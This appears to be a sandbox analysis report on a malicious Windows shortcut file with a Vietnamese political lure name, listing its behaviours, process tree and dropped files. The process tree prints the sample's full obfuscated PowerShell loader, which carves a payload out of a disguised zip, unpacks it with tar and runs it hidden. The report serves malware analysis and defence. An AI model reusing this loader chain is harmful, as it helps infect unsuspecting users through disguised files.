Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    21/04/2026, 06:36

General

  • Target
    Tin A5 chào xã giao Chủ tịch Hun Sen.lnk
  • Size 2KB
  • Sample260421-hdan8aax4k
  • SHA256 be16ab2614852b993453bd3ea5066133155d5e5f09f3b2baccf57a9dbf54fd2c
  • MD5 SHA1 SHA512 TLSH
Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Tin A5 chào xã giao Chủ tịch Hun Sen.lnk"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4868
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w H ";$irgqdfyxb = (ls -Pa $Home -Re -in 'Tin A5 chào x? giao Ch? t?ch Hun Sen.zip')[0].fullname;$qrvfuqsezoq = [SyStem.IO.File]::OpenReAd($irgqdfyxb); $fft='wRI'+'teAlL'+'bYtEs';$foolpsny = NeW-ObjEct byte[] $qrvfuqsezoq.Length; $qrvfuqsezoq.Read($foolpsny, 0, $foolpsny.Length); $qrvfuqsezoq.Close();$vdzywjadena=1144; ;;[SySTem.IO.FIle]::$fft($Env:LocalAppdata+'\\nismyjusj.vo', $foolpsny[$vdzywjadena..($vdzywjadena+686592-1)]);;tAR -xvf $Env:LocalAppdata\nismyjusj.vo -C $Env:LocalAppdata;Sleep -Seconds 4;powershell $Env:LocalAppdata\43OZ1LSA-M5GN-5TIS-ELUJ-IWP8UGQAUSCE\CNMNSST.exe;
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5400
      • C:\Windows\system32\tar.exe
        "C:\Windows\system32\tar.exe" -xvf C:\Users\Admin\AppData\Local\nismyjusj.vo -C C:\Users\Admin\AppData\Local
        3⤵
          PID:5060
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\Users\Admin\AppData\Local\43OZ1LSA-M5GN-5TIS-ELUJ-IWP8UGQAUSCE\CNMNSST.exe
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4828

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 240B
          • SHA256 871b976ce7d6f823086a4e1ccfa7a1b50716ce2dcc181bd21ab131f6936b2c42
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_vzg4by3n.ug0.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vzg4by3n.ug0.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/4828-24-0x00000174D5B70000-0x00000174D5B7C000-memory.dmp

          memory/4868-29-0x0000020006CE0000-0x0000020006CEC000-memory.dmp

          memory/5400-3-0x00000205423C0000-0x00000205423D0000-memory.dmp

          memory/5400-2-0x00000205423C0000-0x00000205423D0000-memory.dmp

          memory/5400-9-0x0000020542350000-0x0000020542372000-memory.dmp

          memory/5400-12-0x00000205423C0000-0x00000205423D0000-memory.dmp

          memory/5400-13-0x00000205423C0000-0x00000205423D0000-memory.dmp

          memory/5400-14-0x00000205423C0000-0x00000205423D0000-memory.dmp

          memory/5400-28-0x0000020529F00000-0x0000020529F0C000-memory.dmp